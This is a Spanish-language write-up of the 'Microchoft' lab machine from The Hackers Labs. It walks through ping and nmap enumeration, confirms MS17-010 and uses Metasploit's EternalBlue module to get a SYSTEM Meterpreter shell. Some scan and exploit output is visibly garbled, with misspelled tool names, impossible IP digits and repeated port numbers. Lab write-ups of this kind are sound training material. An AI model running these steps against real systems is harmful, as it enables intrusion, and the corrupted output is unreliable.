## **Microchoft**

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# Resolviendo la máquina Microchoft

En esta publicación, comparto cómo resolví la máquina Microchoft de The Hackers Labs.

### **Enumeración**

## **Ping**

Ejecutamos un *ping* para comprobar la conectividad y obtener pistas sobre el sistema operativo.

```
ping -c 1 192.168.1.137
```

```
PING 192.168.1.137 (192.168.1.137) 56(84) bytes of data.
64 bytes from 192.168.1.137: icmp_seq=1 ttl=128 time=2.07 ms

— 192.168.1.137 ping statistics —
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 2.069/2.069/2.069/0.000 ms
```

TTL=128 -> Windows

### **Nmap**

```
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.1.137 -oG allPorts
```

```
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-21 10:15 CEST
Initiating ARP Ping Scan at 10:15
Scanning 192.168.1.137 [1 port]
Completed ARP Ping Scan at 10:15, 0.06s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 10:15
Scanning 192.168.1.137 [65535 ports]
Discovered open port 135/tcp on 192.168.1.137
Discovered open port 445/tcp on 192.168.1.137
Discovered open port 139/tcp on 192.168.1.137
Discovered open port 49154/tcp on 192.168.1.137
Discovered open port 49156/tcp on 192.168.1.137
Discovered open port 49155/tcp on 192.168.1.137
Discovered open port 49157/tcp on 192.168.1.137
Discovered open port 49153/tcp on 192.168.1.137
Discovered open port 49152/tcp on 192.168.1.137
Completed SYN Stealth Scan at 10:16, 12.99s elapsed (65535 total ports)
Nmap scan report for 192.168.1.137
Host is up, received arp-response (0.0021s latency).
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
         STATE SERVICE
PORT
         open msrpc
139/tcp open netbios-ssn syn-ack ttl 128
445/tcp open microsoft-ds syn-ack ttl 128
49152/tcp open unknown syn-ack ttl 128
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
                             syn-ack ttl 128
49156/tcp open unknown
                             syn-ack ttl 128
49157/tcp open unknown
                             syn-ack ttl 128
MAC Address: 08:00:27:12:2D:0F (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.17 seconds
           Raw packets sent: 84909 (3.736MB) | Rcvd: 61779 (2.471MB)
```

nmap -p135,139,445,49152,49153,49154,49155,49156,49157 -sCV 192.168.1.137 -oN targeted

```
Starting Mmap 7.05 ( https://mmap.org ) at 2025-07-21 10:17 CEST
Namp scan report for 192:105.1.137
Nost is up (0.0034s latency).

PORT STATE SERVICE / CERSION
139/tcp open msrpc / Microsoft Windows RPC
40153/tcp open msrpc / Microsoft Windows RPC
40153/tcp open msrpc / Microsoft Windows RPC
40153/tcp open msrpc / Microsoft Windows RPC
40154/tcp open msrpc / Microsoft Windows RPC
4015
```

#### nmap -p445 --script smb-vuln-ms17-010 192.168.1.137

```
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-21 10:20 CEST
Nmap scan report for 192.168.1.137
Host is up (0.00070s latency).
PORT
       STATE SERVICE
445/tcp open microsoft-ds
MAC Address: 08:00:27:12:2D:0F (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Host script results:
 smb-vuln-ms17-010:
   VULNERABLE:
   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
     State: VULNERABLE
      IDs: CVE:CVE-2017-0143
       A critical remote code execution vulnerability exists in Microsoft SMBv1
        servers (ms17-010).
     References:
       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
Wmap done: 1 IP address (1 host up) scanned in 0.29 seconds
```

# **Explotación**

MS17-010 SMB (EternalBlue)

Se utiliza el exploit (exploit/windows/smb/ms17\_010\_eternalblue) para la vulnerabilidad MS17-010 (EternalBlue) en el servicio SMB.

```
search exploit/windows/smb/ms17_010_eternalblue
use 0 | use exploit/windows/smb/ms17_010_eternalblue
show options
set RHOSTS 192.168.1.137
exploit
```

```
[★] Started reverse TCP handler on 192.168.1.127:4444
[★] 192.168.1.137:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[★] 192.168.1.137:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Home Basic 7601 Service Pack 1 x64 (64-bit)
[★] 192.168.1.137:445 - Scanned 1 of 1 hosts (100% complete)
[★] 192.168.1.137:445 - Connecting to target for exploitation.
[★] 192.168.1.137:445 - Connecting to target for exploitation.
[★] 192.168.1.137:445 - Connecting to target for exploitation.
[★] 192.168.1.137:445 - Oconection established for exploit for ost indicated by DCE/RPC reply
[★] 192.168.1.137:445 - Trying exploit with 12 Groom Allocations.
[★] 192.168.1.137:445 - Sending all but last fragment of exploit packet
[★] 192.168.1.137:445 - Sending SMBv2 buffers.
[★] 192.168.1.137:445 - Sending SMBv2 buffers.
[★] 192.168.1.137:445 - Sending Isat fragment of exploit packet
[★] 192.168.1.137:445 - Sending last fragment of exploit packet
[★] 192.168.1.137:445 - Sending last fragment of exploit packet
[★] 192.168.1.137:445 - Sending last fragment of exploit packet
[★] 192.168.1.137:445 - Sending last fragment of exploit packet
[★] 192.168.1.137:445 - Sending last fragment of exploit packet
[★] 192.168.1.137:445 - Sending last fragment of exploit packet
[★] 192.168.1.137:445 - Sending last fragment of exploit packet
[★] 192.168.1.137:445 - Triggering free of corrupted buffer.
[★] 192.168.1.137:445 - Triggering free of corrupted buffer.
[★] 192.168.1.137:445 - Triggering free of corrupted buffer.
[★
```

#### sysinfo

```
Computer : MICROCHOFT
OS : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 0
Meterpreter : x64/windows
```

getuid

Server username: NT AUTHORITY\SYSTEM